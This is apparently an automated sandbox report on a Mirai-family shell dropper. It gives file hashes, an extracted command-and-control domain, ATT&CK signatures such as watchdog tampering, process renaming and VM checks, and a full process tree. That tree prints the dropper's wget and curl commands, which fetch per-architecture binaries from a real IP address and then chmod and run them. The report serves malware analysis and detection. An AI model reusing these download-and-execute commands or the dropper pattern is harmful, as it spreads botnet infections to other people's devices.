Analysis
- max time kernel
146s - max time network
147s - platform
debian-9_armhf - resource
debian9-armhf-20240729-en - resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
06/11/2024, 01:46
Static task
static1
Behavioral task
behavioral1
Sample
c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
Resource
debian9-mipsel-20240611-en
General
- Target c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh
- Size 2KB
- Sample241106-b7asratbnj
- SHA256 c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8
- MD5 ea64c785bed58ebb7dfbc008250f9c95
- SHA1 8e4376853ce92270b949b6ea821d80737989ba6d
- SHA512 905c9f90bfbfa50d3629ea06c16fec15098a6091618f4f32d96e55741a15388db5536f2c4f67b4f3bbb9c1bb04394e0342d7f07e9ae74ed17b0ab6ac63895f64
- MD5 SHA1 SHA512
Malware Config
Extracted
-
mirai
-
OWARI
-
cnc.carteldesinaloa.ru
Signatures
- Mirai family
- Contacts a large (1843) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 12 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 691 chmod 751 chmod 765 chmod 797 chmod 851 chmod 873 chmod 675 chmod 719 chmod 818 chmod 829 chmod 840 chmod 862 chmod - Modifies Watchdog functionality 1 TTPs 24 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload File opened for modification /dev/watchdog nuklear.payload File opened for modification /dev/misc/watchdog nuklear.payload - Changes its process name 12 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself ZQRYbiTmTZntISlhuUF 676 nuklear.payload Changes the process name, possibly in an attempt to hide itself lUdiqpPtpAXdpOYkbPc 693 nuklear.payload Changes the process name, possibly in an attempt to hide itself nwcLwlytypiUOdDNvO 721 nuklear.payload Changes the process name, possibly in an attempt to hide itself AiRYdspTtdesjgKNd 753 nuklear.payload Changes the process name, possibly in an attempt to hide itself NKRYEZLUsMosNzdKV 767 nuklear.payload Changes the process name, possibly in an attempt to hide itself hYRYmtGwbAKrGuWFPAo 799 nuklear.payload Changes the process name, possibly in an attempt to hide itself yYvDFBgsLSBxLGLOasr 819 nuklear.payload Changes the process name, possibly in an attempt to hide itself zOksuHUuPwdRSUTbZeL 830 nuklear.payload Changes the process name, possibly in an attempt to hide itself vqRYRtYlSAnsGcPrQBi 841 nuklear.payload Changes the process name, possibly in an attempt to hide itself VSRYKByeMGytHsqpQ 852 nuklear.payload Changes the process name, possibly in an attempt to hide itself dastoAyngFAtwKYPeuG 863 nuklear.payload Changes the process name, possibly in an attempt to hide itself gyhtcjdihqnwbpAitHd 874 nuklear.payload - Checks CPU configuration 1 TTPs 12 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl - System Network Configuration Discovery 1 TTPs 2 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 771 wget 785 curl - Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/nuklear.arm curl File opened for modification /tmp/nuklear.spc curl File opened for modification /tmp/nuklear.payload c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh File opened for modification /tmp/nuklear.arm6 curl File opened for modification /tmp/nuklear.ppc curl File opened for modification /tmp/nuklear.x86 wget File opened for modification /tmp/nuklear.x86 curl File opened for modification /tmp/nuklear.x86_64 wget File opened for modification /tmp/nuklear.mips curl File opened for modification /tmp/nuklear.mpsl wget File opened for modification /tmp/nuklear.arm wget File opened for modification /tmp/nuklear.arm6 wget File opened for modification /tmp/nuklear.arm7 wget File opened for modification /tmp/nuklear.m68k wget File opened for modification /tmp/nuklear.m68k curl File opened for modification /tmp/nuklear.mips wget File opened for modification /tmp/nuklear.mpsl curl File opened for modification /tmp/nuklear.ppc wget File opened for modification /tmp/nuklear.x86_64 curl File opened for modification /tmp/nuklear.arm5 wget File opened for modification /tmp/nuklear.arm5 curl File opened for modification /tmp/nuklear.arm7 curl File opened for modification /tmp/nuklear.sh4 wget File opened for modification /tmp/nuklear.sh4 curl File opened for modification /tmp/nuklear.spc wget
Processes
-
/tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh/tmp/c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh1⤵
- Writes file to tmp directory
PID:645 -
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.arm2⤵
- Writes file to tmp directory
PID:647
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.arm2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:666
-
-
/bin/catcat nuklear.arm2⤵PID:674
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:675
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:676
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.arm52⤵
- Writes file to tmp directory
PID:680
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.arm52⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:684
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:691
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:693
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.arm62⤵
- Writes file to tmp directory
PID:697
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.arm62⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:709
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:719
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:721
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.arm72⤵
- Writes file to tmp directory
PID:726
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.arm72⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:738
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:751
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:753
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.m68k2⤵
- Writes file to tmp directory
PID:757
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.m68k2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:762
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:765
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:767
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:771
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.mips2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:785
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:797
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:799
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.mpsl2⤵
- Writes file to tmp directory
PID:803
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.mpsl2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:816
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:818
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:819
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.ppc2⤵
- Writes file to tmp directory
PID:823
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.ppc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:827
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:829
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:830
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.sh42⤵
- Writes file to tmp directory
PID:834
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.sh42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:838
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:840
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:841
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.spc2⤵
- Writes file to tmp directory
PID:845
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.spc2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:849
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:851
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:852
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.x862⤵
- Writes file to tmp directory
PID:856
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.x862⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:860
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:862
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:863
-
-
/usr/bin/wgetwget http://94.156.177.146/389242390482/nuklear.x86_642⤵
- Writes file to tmp directory
PID:867
-
-
/usr/bin/curlcurl -O http://94.156.177.146/389242390482/nuklear.x86_642⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:871
-
-
/bin/chmodchmod +x c8b2280e88120b43680a3cfba74cc25840feab3b471c41f387d81ce9cb875eb8.sh nuklear.arm nuklear.arm5 nuklear.arm6 nuklear.arm7 nuklear.m68k nuklear.mips nuklear.mpsl nuklear.payload nuklear.ppc nuklear.sh4 nuklear.spc nuklear.x86 nuklear.x86_64 systemd-private-5e13b6130fb642819963a0060f9a10ab-systemd-timedated.service-Ff4mHu2⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/nuklear.payload./nuklear.payload nuklear.payload2⤵
- Modifies Watchdog functionality
- Changes its process name
PID:874
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/nuklear.arm
- Size 81KB
- SHA256 6a4f0c194ff955c49428fd391a73eed5477541588feddbfde6a1f5acea1489af
- MD5 e271e60828c48744a1f674829922cefc
- SHA1 8cf689ff7c342f49a7fa3736590e8de1dfdf912a
- SHA512 8639171150e7e6574358dab11f151741daeccf7f51a068bb21276589da9cea4e020e1d6f6080bd78cf8c3edbb0302281537c0b56a6c5bb3ad031a476f1af5cb3
- SSDEEP 1536:F+NGdzJ/pt2XyP4ZghDRLogb1eZW7P7rAEFCwzbX20zogWvO72:F+kx4STEghwgzrAACwfreOy
- MD5 SHA1 SHA512 SSDEEP